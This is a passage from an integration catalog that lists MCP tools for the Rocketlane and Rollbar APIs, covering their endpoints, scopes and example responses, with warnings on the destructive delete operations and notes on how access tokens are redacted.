Search time entries via GET /1.0/time-entries/search GET /api/v1/rocketlane/1.0/time-entries/search. Scopes: api. rocketlane_get_1_0_time_offs (read) — Get all timeoffs via GET /1.0/time-offs GET /api/v1/rocketlane/1.0/time-offs. Scopes: api. rocketlane_get_1_0_time_offs_by_timeoffid (read) — Get timeoff via GET /1.0/time-offs/{timeOffId} GET /api/v1/rocketlane/1.0/time-offs/{timeOffId}. Scopes: api. rocketlane_get_1_0_users (read) — Get all users via GET /1.0/users GET /api/v1/rocketlane/1.0/users. Scopes: api. rocketlane_get_1_0_users_by_userid (read) — Get user via GET /1.0/users/{userId} GET /api/v1/rocketlane/1.0/users/{userId}. Scopes: api. rocketlane_post_1_0_budgets (write) — Create budget via POST /1.0/budgets POST /api/v1/rocketlane/1.0/budgets. Scopes: api. rocketlane_post_1_0_comments (write) — Create comment via POST /1.0/comments POST /api/v1/rocketlane/1.0/comments. Scopes: api. rocketlane_post_1_0_companies (write) — Create company via POST /1.0/companies POST /api/v1/rocketlane/1.0/companies. Scopes: api. rocketlane_post_1_0_companies_by_companyid_add_notes (write) — Create company note via POST /1.0/companies/{companyId}/add-notes POST /api/v1/rocketlane/1.0/companies/{companyId}/add-notes. Scopes: api. rocketlane_post_1_0_conversations (write) — Create conversation via POST /1.0/conversations POST /api/v1/rocketlane/1.0/conversations. Scopes: api. rocketlane_post_1_0_conversations_by_conversationid_add_members (write) — Add members to conversation via POST /1.0/conversations/{conversationId}/add-members POST /api/v1/rocketlane/1.0/conversations/{conversationId}/add-members. Scopes: api. rocketlane_post_1_0_conversations_by_conversationid_remove_members (write) — Remove members from conversation via POST /1.0/conversations/{conversationId}/remove-members POST /api/v1/rocketlane/1.0/conversations/{conversationId}/remove-members. Scopes: api. rocketlane_post_1_0_fields (write) — Create field via POST /1.0/fields POST /api/v1/rocketlane/1.0/fields. Scopes: api. rocketlane_post_1_0_fields_by_fieldid_add_option (write) — Add field option via POST /1.0/fields/{fieldId}/add-option POST /api/v1/rocketlane/1.0/fields/{fieldId}/add-option. Scopes: api. rocketlane_post_1_0_fields_by_fieldid_update_option (write) — Update field option via POST /1.0/fields/{fieldId}/update-option POST /api/v1/rocketlane/1.0/fields/{fieldId}/update-option. Scopes: api. rocketlane_post_1_0_phases (write) — Create phase via POST /1.0/phases POST /api/v1/rocketlane/1.0/phases. Scopes: api. rocketlane_post_1_0_projects (write) — Create project via POST /1.0/projects POST /api/v1/rocketlane/1.0/projects. Scopes: api. rocketlane_post_1_0_projects_by_projectid_add_members (write) — Add members via POST /1.0/projects/{projectId}/add-members POST /api/v1/rocketlane/1.0/projects/{projectId}/add-members. Scopes: api. rocketlane_post_1_0_projects_by_projectid_archive (write) — Archive project via POST /1.0/projects/{projectId}/archive POST /api/v1/rocketlane/1.0/projects/{projectId}/archive. Scopes: api. rocketlane_post_1_0_projects_by_projectid_assign_placeholders (write) — Assign placeholders via POST /1.0/projects/{projectId}/assign-placeholders POST /api/v1/rocketlane/1.0/projects/{projectId}/assign-placeholders. Scopes: api. rocketlane_post_1_0_projects_by_projectid_get_placeholders (write) — Get placeholders via POST /1.0/projects/{projectId}/get-placeholders POST /api/v1/rocketlane/1.0/projects/{projectId}/get-placeholders. Scopes: api. rocketlane_post_1_0_projects_by_projectid_import_template (write) — Import template via POST /1.0/projects/{projectId}/import-template POST /api/v1/rocketlane/1.0/projects/{projectId}/import-template. Scopes: api. rocketlane_post_1_0_projects_by_projectid_remove_members (write) — Remove members via POST /1.0/projects/{projectId}/remove-members POST /api/v1/rocketlane/1.0/projects/{projectId}/remove-members. Scopes: api. rocketlane_post_1_0_projects_by_projectid_unassign_placeholders (write) — Unassign placeholders via POST /1.0/projects/{projectId}/unassign-placeholders POST /api/v1/rocketlane/1.0/projects/{projectId}/unassign-placeholders. Scopes: api. rocketlane_post_1_0_space_documents (write) — Create space document via POST /1.0/space-documents POST /api/v1/rocketlane/1.0/space-documents. Scopes: api. rocketlane_post_1_0_spaces (write) — Create space via POST /1.0/spaces POST /api/v1/rocketlane/1.0/spaces. Scopes: api. rocketlane_post_1_0_tasks (write) — Create task via POST /1.0/tasks POST /api/v1/rocketlane/1.0/tasks. Scopes: api. rocketlane_post_1_0_tasks_by_taskid_add_assignees (write) — Add assignee to task via POST /1.0/tasks/{taskId}/add-assignees POST /api/v1/rocketlane/1.0/tasks/{taskId}/add-assignees. Scopes: api. rocketlane_post_1_0_tasks_by_taskid_add_dependencies (write) — Add dependencies to task via POST /1.0/tasks/{taskId}/add-dependencies POST /api/v1/rocketlane/1.0/tasks/{taskId}/add-dependencies. Scopes: api. rocketlane_post_1_0_tasks_by_taskid_add_followers (write) — Add followers to task via POST /1.0/tasks/{taskId}/add-followers POST /api/v1/rocketlane/1.0/tasks/{taskId}/add-followers. Scopes: api. rocketlane_post_1_0_tasks_by_taskid_move_phase (write) — Move task to given phase via POST /1.0/tasks/{taskId}/move-phase POST /api/v1/rocketlane/1.0/tasks/{taskId}/move-phase. Scopes: api. rocketlane_post_1_0_tasks_by_taskid_remove_assignees (write) — Remove assignees from task via POST /1.0/tasks/{taskId}/remove-assignees POST /api/v1/rocketlane/1.0/tasks/{taskId}/remove-assignees. Scopes: api. rocketlane_post_1_0_tasks_by_taskid_remove_dependencies (write) — Remove dependencies from task via POST /1.0/tasks/{taskId}/remove-dependencies POST /api/v1/rocketlane/1.0/tasks/{taskId}/remove-dependencies. Scopes: api. rocketlane_post_1_0_tasks_by_taskid_remove_followers (write) — Remove followers from task via POST /1.0/tasks/{taskId}/remove-followers POST /api/v1/rocketlane/1.0/tasks/{taskId}/remove-followers. Scopes: api. rocketlane_post_1_0_time_entries (write) — Create time entry via POST /1.0/time-entries POST /api/v1/rocketlane/1.0/time-entries. Scopes: api. rocketlane_post_1_0_time_offs (write) — Create timeoff via POST /1.0/time-offs POST /api/v1/rocketlane/1.0/time-offs. Scopes: api. rocketlane_put_1_0_budgets_by_budgetid (write) — Update budget via PUT /1.0/budgets/{budgetId} PUT /api/v1/rocketlane/1.0/budgets/{budgetId}. Scopes: api. rocketlane_put_1_0_budgets_by_budgetid_manual_revenue_recognition_configs (write) — Update budget manual revenue recognition configs via PUT /1.0/budgets/{budgetId}/manual-revenue-recognition-configs PUT /api/v1/rocketlane/1.0/budgets/{budgetId}/manual-revenue-recognition-configs. Scopes: api. rocketlane_put_1_0_budgets_by_budgetid_milestone_revenue_recognition_configs (write) — Update budget milestone revenue recognition configs via PUT /1.0/budgets/{budgetId}/milestone-revenue-recognition-configs PUT /api/v1/rocketlane/1.0/budgets/{budgetId}/milestone-revenue-recognition-configs. Scopes: api. rocketlane_put_1_0_comments_by_commentid (write) — Update comment via PUT /1.0/comments/{commentId} PUT /api/v1/rocketlane/1.0/comments/{commentId}. Scopes: api. rocketlane_put_1_0_companies_by_companyid (write) — Update company via PUT /1.0/companies/{companyId} PUT /api/v1/rocketlane/1.0/companies/{companyId}. Scopes: api. rocketlane_put_1_0_conversations_by_conversationid (write) — Update conversation via PUT /1.0/conversations/{conversationId} PUT /api/v1/rocketlane/1.0/conversations/{conversationId}. Scopes: api. rocketlane_put_1_0_fields_by_fieldid (write) — Update field via PUT /1.0/fields/{fieldId} PUT /api/v1/rocketlane/1.0/fields/{fieldId}. Scopes: api. rocketlane_put_1_0_phases_by_phaseid (write) — Update phase via PUT /1.0/phases/{phaseId} PUT /api/v1/rocketlane/1.0/phases/{phaseId}. Scopes: api. rocketlane_put_1_0_projects_by_projectid (write) — Update project via PUT /1.0/projects/{projectId} PUT /api/v1/rocketlane/1.0/projects/{projectId}. Scopes: api. rocketlane_put_1_0_space_documents_by_spacedocumentid (write) — Update space document via PUT /1.0/space-documents/{spaceDocumentId} PUT /api/v1/rocketlane/1.0/space-documents/{spaceDocumentId}. Scopes: api. rocketlane_put_1_0_spaces_by_spaceid (write) — Update space via PUT /1.0/spaces/{spaceId} PUT /api/v1/rocketlane/1.0/spaces/{spaceId}. Scopes: api. rocketlane_put_1_0_tasks_by_taskid (write) — Update task via PUT /1.0/tasks/{taskId} PUT /api/v1/rocketlane/1.0/tasks/{taskId}. Scopes: api. rocketlane_put_1_0_time_entries_by_timeentryid (write) — Update time entry via PUT /1.0/time-entries/{timeEntryId} PUT /api/v1/rocketlane/1.0/time-entries/{timeEntryId}. Scopes: api. ================================================================================ ## Rollbar URL: https://www.agenticfabriq.com/integrations/rollbar Section: Integrated Tools Rollbar — 97 MCP tools Provider key: rollbar. Scopes: post_server_item, read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. rollbar_delete_api_1_environment_by_environment_session_by_sessionid_replay_by_replayid (write, destructive) — Delete a session replay via DELETE /api/1/environment/{environment}/session/{sessionId}/replay/{replayId}. Deletes a replay for a recorded session in the specified environment. Requires a project access token with `write` scope. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/environment/{environment}/session/{sessionId}/replay/{replayId}. Scopes: write. rollbar_delete_api_1_instance_by_instance_id (write, destructive) — Delete an occurrence via DELETE /api/1/instance/{instance_id}. Permanently deletes an occurrence. This will make it unavailable in the Rollbar UI and API. Aggregate counts are not updated. Deleting occurrences will not reduce or reset your quota. Deletion takes place asynchronously, typically within a few seconds. To verify that deletion has completed, use GET and expect a 404 response. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/instance/{instance_id}. Scopes: write. rollbar_delete_api_1_invite_by_invite_id (write, destructive) — Cancel invitation via DELETE /api/1/invite/{invite_id}. Returns a `200` if the invitation was successfully canceled. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/invite/{invite_id}. Scopes: write. rollbar_delete_api_1_notifications_email_rule_by_rule_id (write, destructive) — Delete an email notification rule via DELETE /api/1/notifications/email/rule/{rule_id}. Delete a notification rule by ID DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/notifications/email/rule/{rule_id}. Scopes: write. rollbar_delete_api_1_notifications_pagerduty_rule_by_rule_id (write, destructive) — Delete a PagerDuty notification rule via DELETE /api/1/notifications/pagerduty/rule/{rule_id}. Delete a notification rule by ID DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/notifications/pagerduty/rule/{rule_id}. Scopes: write. rollbar_delete_api_1_notifications_slack_rule_by_rule_id (write, destructive) — Delete a Slack notification rule via DELETE /api/1/notifications/slack/rule/{rule_id}. Delete a notification rule by ID DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/notifications/slack/rule/{rule_id}. Scopes: write. rollbar_delete_api_1_notifications_webhook_rule_by_rule_id (write, destructive) — Delete a webhook notification rule via DELETE /api/1/notifications/webhook/rule/{rule_id}. Delete a notification rule by ID DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/notifications/webhook/rule/{rule_id}. Scopes: write. rollbar_delete_api_1_project_by_project_id (write, destructive) — Delete a project via DELETE /api/1/project/{project_id}. DESTRUCTIVE: delete a project. The project's items, occurrences, deploys and access tokens go with it, and Rollbar offers no undo and no recycle bin through this API. Any client still reporting to one of that project's tokens stops being recorded. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/project/{project_id}. Scopes: write. rollbar_delete_api_1_project_by_project_id_access_token (write, destructive) — Delete a project access token (token identifier in the body) via DELETE /api/1/project/{project_id}/access_token. DESTRUCTIVE: delete a project access token, naming it in the request BODY rather than in the path. Send `public_id` -- the non-secret handle `List all project access tokens` returns for every token -- which is the form to prefer. `project_access_token` is accepted as an alternative and takes the token's own VALUE, which means putting a live credential into this tool's arguments, where it reaches the model's context and the audit record; use it only when you hold a token value whose public id you cannot look up, which is the case Rollbar's token list cannot answer because it does not return values. Deleting a token cannot be undone and any client still authenticating with it starts failing immediately. The sibling tool `Delete a project access token` addresses the same token by its public id in the URL and carries no body. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/project/{project_id}/access_token. Scopes: write. rollbar_delete_api_1_project_by_project_id_access_token_by_token_identifier (write, destructive) — Delete a project access token (token identifier in the path) via DELETE /api/1/project/{project_id}/access_token/{token_identifier}. To delete a project access token, include either the legacy access token or the secure public ID in the token_identifier field of the URL. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/project/{project_id}/access_token/{token_identifier}. Scopes: write. rollbar_delete_api_1_service_links_by_id (write, destructive) — Delete a service link via DELETE /api/1/service_links/{id}. Delete existing Service Link DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/service_links/{id}. Scopes: write. rollbar_delete_api_1_team_by_team_id (write, destructive) — Delete a team via DELETE /api/1/team/{team_id}. DESTRUCTIVE: delete a team. Its user assignments and project assignments go with it, and members lose whatever access the team granted them. The users and the projects themselves are untouched. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/team/{team_id}. Scopes: write. rollbar_delete_api_1_team_by_team_id_project_by_project_id (write, destructive) — Remove a team from a project via DELETE /api/1/team/{team_id}/project/{project_id}. Unassign a team from a project. Members of that team lose the access it gave them in that project; neither the team nor the project is deleted, and the assign tool restores the link exactly. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/team/{team_id}/project/{project_id}. Scopes: write. rollbar_delete_api_1_team_by_team_id_user_by_user_id (write, destructive) — Remove a user from a team via DELETE /api/1/team/{team_id}/user/{user_id}. Remove a user from a team. They lose the access that team gave them in its projects; their Rollbar account and their other teams are untouched. Re-adding them with the assign tool restores it exactly. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/rollbar/api/1/team/{team_id}/user/{user_id}. Scopes: write. rollbar_get_api_1_deploy_by_deploy_id (read) — Get a deploy via GET /api/1/deploy/{deploy_id}. `deploy_id` must be an ID for a deploy in the project. These IDs are returned as the id field in other API calls, and can be found in the Rollbar UI on URLs like `https://rollbar.com/deploy/12345/` (`12345` is the Deploy ID). GET /api/v1/rollbar/api/1/deploy/{deploy_id}. Scopes: read. rollbar_get_api_1_deploys (read) — List all deploys via GET /api/1/deploys. Returns all deploys in the project, most recent first, in pages of 20. GET /api/v1/rollbar/api/1/deploys. Scopes: read. rollbar_get_api_1_environment_by_environment_session_by_sessionid_replay_by_replayid (read) — Get a session replay via GET /api/1/environment/{environment}/session/{sessionId}/replay/{replayId}. Retrieves the replay payload for a recorded session in the specified environment. Requires a project access token with `read` scope, or account access token with `read` scope and a `project_id`. GET /api/v1/rollbar/api/1/environment/{environment}/session/{sessionId}/replay/{replayId}. Scopes: read. rollbar_get_api_1_environments (read) — List all environments via GET /api/1/environments. Returns all environments in the project, in pages of 20. A successful response looks like: ``` { 'err': 0 'result': { 'page': 1, 'environments': [ // where each environment has the shape: { 'id': 1, 'project_id': 123, 'environment': 'production', // visibility of the environment in the app (can either be 1 or 0) 'visible': 1 }, ... ] } } ``` GET /api/v1/rollbar/api/1/environments. Scopes: read. rollbar_get_api_1_instance_by_instance_id (read) — Get an occurrence via GET /api/1/instance/{instance_id}. Returns a JSON object describing the occurrence. This is similar to the "Raw JSON" section of the occurrence detail page. `instance_id` must be an Occurrence ID for an occurrence in the project. These IDs are returned as the `id` field in other occurrence API calls, and can be found in the Rollbar UI on URLs like `https://rollbar.com/Rollbar/demo/items/54/occurrences/3209095494/` (`3209095494` is the Occurrence ID). GET /api/v1/rollbar/api/1/instance/{instance_id}. Scopes: read. rollbar_get_api_1_instances (read) — List all occurrences in a project via GET /api/1/instances. Returns all occurrences in the project, in pages of 20. Order is descending by occurrence ID (which is approximately descending by timestamp). GET /api/v1/rollbar/api/1/instances. Scopes: read. rollbar_get_api_1_invite_by_invite_id (read) — Get invitation via GET /api/1/invite/{invite_id}. # Example Response ```json { "err": 0, "result": { "id": 71328, "from_user_id": 5325, "team_id": 272686, "to_email": "gilfoyle@piedpiper.com", "status": "pending", "date_created": 1519946545, "date_redeemed": null } } ``` GET /api/v1/rollbar/api/1/invite/{invite_id}. Scopes: read. rollbar_get_api_1_item (read) — Get an item by unique ID via GET /api/1/item. Get an item by project counter or occurrence UUID. Either `uuid` or `counter` must be provided. `uuid` must be an ocurrence UUID for an occurrence in the item. Occurrence UUIDs are part of the response in https://docs.rollbar.com/reference/create-item. `counter` must be an item counter for an item in the project. The counter can be found in URLs like `https://rollbar.com/myaccount/myproject/items/456/` (456 is the counter). GET /api/v1/rollbar/api/1/item. Scopes: read. rollbar_get_api_1_item_by_counter_by_counter (read) — Get an item (by project counter) via GET /api/1/item_by_counter/{counter}. `counter` must be an item counter for an item in the project. The counter can be found in URLs like `https://rollbar.com/myaccount/myproject/items/456/` (456 is the counter). The success response is a 301 redirect like this: ``` HTTP/1.1 301 Moved Permanently Location: /api/1/item/272505123 { "err": 0, "result": { "itemId": 272505123, "path": "/api/1/item/272505123", "uri": "/api/1/item/272505123" } } ``` NEEDS A PROJECT ACCESS TOKEN: an ACCOUNT access token is refused on this route no matter what scopes it holds and no matter whether `project_id` is supplied (measured 2026-09-24). Connect a Rollbar connection holding a PROJECT access token with `read` and `write`, minted at the project's Settings -> Project Access Tokens. That token in turn cannot reach the account-level tools -- projects, teams, users, invites -- so the two are different connections rather than one better token. GET /api/v1/rollbar/api/1/item_by_counter/{counter}. Scopes: read. rollbar_get_api_1_item_by_item_id_comments (read) — List comments for an item via GET /api/1/item/{item_id}/comments. Deprecated. Use `GET /item/{item_id}/events` for the complete item history. Returns a paginated, chronological list of human-authored comments and resolve notes for an item. The `source` field distinguishes regular comments from resolve notes. Use (`source`, `id`) as the unique entry identity because IDs can overlap between sources. System-generated timeline events and comments authored by system users are not included. Project, account, and user-scoped account access tokens are supported when they have read access to the item's project. An item with no matching comments returns an empty `comments` array with a `200` response. GET /api/v1/rollbar/api/1/item/{item_id}/comments. Scopes: read. rollbar_get_api_1_item_by_item_id_events (read) — List events for an item via GET /api/1/item/{item_id}/events. Returns a paginated, chronological list of all history events for an item, including comments, status and level changes, assignments, title changes, snoozes, and merges. System-generated events and comments authored by system users are included. Snooze history is omitted when the snooze feature is unavailable for the account; explicitly requesting `item_snooze_history` in that case returns `403`. Project, account, and user-scoped account access tokens are supported when they have read access to the item's project. An item with no matching events returns an empty `events` array with a `200` response. GET /api/v1/rollbar/api/1/item/{item_id}/events. Scopes: read. rollbar_get_api_1_item_by_item_id_instances (read) — List all occurrences in an item via GET /api/1/item/{item_id}/instances. Returns all occurrences of an item, in pages of 20. Order is descending by occurrence ID (which is approximately descending by timestamp). GET /api/v1/rollbar/api/1/item/{item_id}/instances. Scopes: read. rollbar_get_api_1_item_by_itemid (read) — Get an item (by ID) via GET /api/1/item/{itemid}. `itemid` must be an item ID for an item in the project. These IDs are returned as the id field in other API calls. Note that they are NOT found in in URLs like `https://rollbar.com/myaccount/myproject/items/456/` – that is the project counter. GET /api/v1/rollbar/api/1/item/{itemid}. Scopes: read. rollbar_get_api_1_items (read) — List all items via GET /api/1/items. List items -- Rollbar's deduplicated error groups -- for one project, newest activity first and 100 to a page. Narrow with `status` (active, resolved, muted, archived), `level` (debug through critical, repeatable to union several), `environment`, `framework`, `query` for a title substring, and `assigned_user_id` or `owner_user_id`. `page` walks the pages. A result's `total_count` is null once a project holds more than 100,000 unique items, which is Rollbar declining to count rather than an empty result. THIS TOOL NEEDS A PROJECT ACCESS TOKEN: measured 2026-09-24, an account token answers 422 'Internal Server Error' here bare, with `project_id`, with a filter and with a trailing slash alike, while a project token answers 200. NEEDS A PROJECT ACCESS TOKEN: an ACCOUNT access token is refused on this route no matter what scopes it holds and no matter whether `project_id` is supplied (measured 2026-09-24). Connect a Rollbar connection holding a PROJECT access token with `read` and `write`, minted at the project's Settings -> Project Access Tokens. That token in turn cannot reach the account-level tools -- projects, teams, users, invites -- so the two are different connections rather than one better token. GET /api/v1/rollbar/api/1/items. Scopes: read. rollbar_get_api_1_notifications_email_rule_by_rule_id (read) — Get an email notification rule via GET /api/1/notifications/email/rule/{rule_id}. Get a notification rule by ID GET /api/v1/rollbar/api/1/notifications/email/rule/{rule_id}. Scopes: read. rollbar_get_api_1_notifications_email_rules (read) — List email notification rules via GET /api/1/notifications/email/rules. Get all email notification rules GET /api/v1/rollbar/api/1/notifications/email/rules. Scopes: read. rollbar_get_api_1_notifications_pagerduty_rule_by_rule_id (read) — Get a PagerDuty notification rule via GET /api/1/notifications/pagerduty/rule/{rule_id}. Get a notification rule by ID GET /api/v1/rollbar/api/1/notifications/pagerduty/rule/{rule_id}. Scopes: read. rollbar_get_api_1_notifications_pagerduty_rules (read) — List PagerDuty notification rules via GET /api/1/notifications/pagerduty/rules. Get all PagerDuty notification rules GET /api/v1/rollbar/api/1/notifications/pagerduty/rules. Scopes: read. rollbar_get_api_1_notifications_slack_rule_by_rule_id (read) — Get a Slack notification rule via GET /api/1/notifications/slack/rule/{rule_id}. Get a notification rule by ID GET /api/v1/rollbar/api/1/notifications/slack/rule/{rule_id}. Scopes: read. rollbar_get_api_1_notifications_slack_rules (read) — List Slack notification rules via GET /api/1/notifications/slack/rules. Get all Slack rules GET /api/v1/rollbar/api/1/notifications/slack/rules. Scopes: read. rollbar_get_api_1_notifications_webhook_rule_by_rule_id (read) — Get a webhook notification rule via GET /api/1/notifications/webhook/rule/{rule_id}. Get a notification rule by ID GET /api/v1/rollbar/api/1/notifications/webhook/rule/{rule_id}. Scopes: read. rollbar_get_api_1_notifications_webhook_rules (read) — List webhook notification rules via GET /api/1/notifications/webhook/rules. Get all Webhook rules GET /api/v1/rollbar/api/1/notifications/webhook/rules. Scopes: read. rollbar_get_api_1_people_delete_jobs_by_job_id (read) — Get person deletion status via GET /api/1/people/delete_jobs/{job_id}. Check on the status of a person deletion request. The response will include a status, e.g. ``` { "err": 0, "result": { "state": "success", // possible values are "new","running","paused","success","cancelled","failed" "id": 3 } } ``` GET /api/v1/rollbar/api/1/people/delete_jobs/{job_id}. Scopes: read. rollbar_get_api_1_project_by_project_id (read) — Get a project via GET /api/1/project/{project_id}. Retrieve one project by id, with its name, status, account id, timestamps and `settings_data` -- the project's timezone, time format, grouping configuration and per-service integration settings. GET /api/v1/rollbar/api/1/project/{project_id}. Scopes: read. rollbar_get_api_1_project_by_project_id_access_tokens (read) — List all project access tokens via GET /api/1/project/{project_id}/access_tokens. List the access tokens minted on one project, each with its name, scopes, status, rate-limit window and `public_id`. THE TOKEN VALUES ARE NOT RETURNED: Rollbar encrypts tokens created since April 2025 and shows a token's value only at the moment it is created, which this integration also redacts. Use this to audit which scopes exist on a project, not to recover a token. THE TOKEN VALUE IS REDACTED FROM THIS RESULT. Rollbar returns the `access_token` field as a live credential, and Agentic Fabriq replaces it before the reply leaves the connector, because a tool result reaches the model's context and the audit pipeline. Everything else -- the `public_id`, the scopes, the status, the rate-limit window -- is returned untouched. Rollbar shows a token's value only once, at creation, and encrypts it afterwards, so if you need the value itself, mint the token in the Rollbar dashboard where it is displayed. GET /api/v1/rollbar/api/1/project/{project_id}/access_tokens. Scopes: read. rollbar_get_api_1_project_by_project_id_teams (read) — List a project's teams via GET /api/1/project/{project_id}/teams. # Example Response ```json { "err": 0, "result": [ { "team_id": 272686, "project_id": 178029 }, { "team_id": 272687, "project_id": 178029 } ] } ``` GET /api/v1/rollbar/api/1/project/{project_id}/teams. Scopes: read. rollbar_get_api_1_projects (read) — List all projects via GET /api/1/projects. List every project on the account, each with its id, name, status, timezone and grouping settings. This is how a caller DISCOVERS the `project_id` that most other operations take as a path segment or a query parameter, and it is the operation an account access token exists for. Rollbar has no per-account host, so nothing about the connection has to be configured to reach it. GET /api/v1/rollbar/api/1/projects. Scopes: read. rollbar_get_api_1_reports_activated_counts (read) — Get activated item counts via GET /api/1/reports/activated_counts. Analogous to "Daily New/Reactivated Items" graph on the Project Dashboard. Returns an array of recent counts as `[timestamp, count]` pairs, where each count is the number of items that were first seen or reactivated in the time range `[timestamp, timestamp + bucket_size - 1]`. Timestamps are UNIX timestamps, in whole seconds. # Response ```json { "err": 0, "result": [ [ // timestamp 1728561200, // count (number of occurrences from time 1728561200 until time 1728564799) 0 ], [ 1728564800, 0 ], [ 1728568400, 0 ], [ 1728572000, 6 ] ] }``` GET /api/v1/rollbar/api/1/reports/activated_counts. Scopes: read. rollbar_get_api_1_reports_occurrence_counts (read) — Get active occurrence counts via GET /api/1/reports/occurrence_counts. Analogous to "Hourly Error/Critical Occurrences" and "Daily Error/Critical Occurrences" on the Project Dashboard. Returns an array of recent counts as `[timestamp, count]` pairs, where each count is the number of matching active occurrences in the time range `[timestamp, timestamp + bucket_size - 1]`. Timestamps are UNIX timestamps, in whole seconds. # Response ```json { "err": 0, "result": [ [ // timestamp 1728561200, // count (number of occurrences from time 1728561200 until time 1728564799) 0 ], [ 1728564800, 0 ], [ 1728568400, 0 ], [ 1728572000, 6 ] ] }``` GET /api/v1/rollbar/api/1/reports/occurrence_counts. Scopes: read. rollbar_get_api_1_reports_top_active_items (read) — Get top active items via GET /api/1/reports/top_active_items. # Response ```json { "err": 0, "result": [ // each element in the list is an object with an "item" object and a "counts" list { // data describing the item (similar to that returned by GET /api/1/item/:id) "item": { "id": 2071, "counter": 1007, "environment": "production", "framework": 0, "last_occurrence_timestamp": 1728410581, "level": 40, "occurrences": 54, "project_id": 12345, "title": "Something went wrong", "unique_occurrences": 5 }, // list of occurrence counts in the past 24 hours. Oldest first. "counts": [12, 10, 7, 3, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 8, 5, 6] }, { /* more elements ... */ } ] } ``` By default, the sort of the top items is by the level of severity, then the number of occurrences. E.g. an item with a `warning` level and 300 occurrences will be below an item with an `error` level and 150 occurrences. This behavior can be changed by passing `sort=occurrences` in the query parameters, which will sort only by the number of occurrences in the time period. Note that the level and framework are returned as integers here. `10`, `20`, `30`, `40`, and `50` representing the `debug`, `info`, `warning`, `error`, and `critical` levels, respectively. For the full integer-framework mapping, please see the [Framework IDs](https://docs.rollbar.com/docs/rql#framework-ids) section in our docs. GET /api/v1/rollbar/api/1/reports/top_active_items. Scopes: read. rollbar_get_api_1_rql_job_by_job_id (read) — Check an RQL job via GET /api/1/rql/job/{job_id}. # Response The response will be a RQL Job resource, example: ```json { "err" 0, "result": { "id": 123, // job id "project_id": 456, "query_string": "show tables", "status": "new", // One of "new", "running", "success", "failed", "cancelled", or "timed_out" "job_hash": "abcdefabcdefabcdef", "date_created": 1446598885, "date_modified": 1446598885, "result": {...} // A RQL job resource if expand=result is used in query string } }`` GET /api/v1/rollbar/api/1/rql/job/{job_id}. Scopes: read. rollbar_get_api_1_rql_job_by_job_id_result (read) — Get RQL job results via GET /api/1/rql/job/{job_id}/result. # Response The response will be a RQL job result resource, example: ```json { "err" 0, "result": { "job_id": 123, // job id "result": { "rows": [{...}], "selectionColumns": [...], "columns": [...], "errors": [], "warnings": [], "rowcount": 1, "executionTime": 123 }, "job": {...} // A RQL job resource if expand=job is set in the query string } }``` GET /api/v1/rollbar/api/1/rql/job/{job_id}/result. Scopes: read. rollbar_get_api_1_rql_jobs (read) — List all RQL jobs via GET /api/1/rql/jobs. If you use a project access token or an account token with `project_id` in the request, all rql jobs for that project will be returned. If you use an account access token without a `project_id`, all rql jobs for the account will be returned. # Response ```json { "err" 0, "result": [ { ... }, // RQL job resource ... ] } ``` GET /api/v1/rollbar/api/1/rql/jobs. Scopes: read. rollbar_get_api_1_service_links (read) — List service links via GET /api/1/service_links. Get all Service Links GET /api/v1/rollbar/api/1/service_links. Scopes: read. rollbar_get_api_1_service_links_by_id (read) — Get a service link via GET /api/1/service_links/{id}. Get existing Service Link by id GET /api/v1/rollbar/api/1/service_links/{id}. Scopes: read. rollbar_get_api_1_team_by_team_id (read) — Get a team via GET /api/1/team/{team_id}. Retrieve one team by id, with its name and access level -- `standard`, `light`, `view` or `everyone`, which is what the team's members may do in the projects it is assigned to. GET /api/v1/rollbar/api/1/team/{team_id}. Scopes: read. rollbar_get_api_1_team_by_team_id_invites (read) — List invitations to a team via GET /api/1/team/{team_id}/invites. Returns all invites ever sent for the team–pending, accepted, rejected, and canceled. # Example response ``` { "err": 0, "result": [ { "id": 71328, "from_user_id": 5325, "team_id": 272686, "to_email": "gilfoyle@pidepiper.com", "status": "pending", "date_created": 1519946545, "date_redeemed": null } ] } ``` GET /api/v1/rollbar/api/1/team/{team_id}/invites. Scopes: read. rollbar_get_api_1_team_by_team_id_project_by_project_id (read) — Check if a team is assigned to a project via GET /api/1/team/{team_id}/project/{project_id}. Returns `200` if the team is assigned to a project, `404` if the team is not assigned to the project. # Example responses ```json { "err": 0, "result": { "team_id": 272686, "project_id": 165090 } } ``` ```json 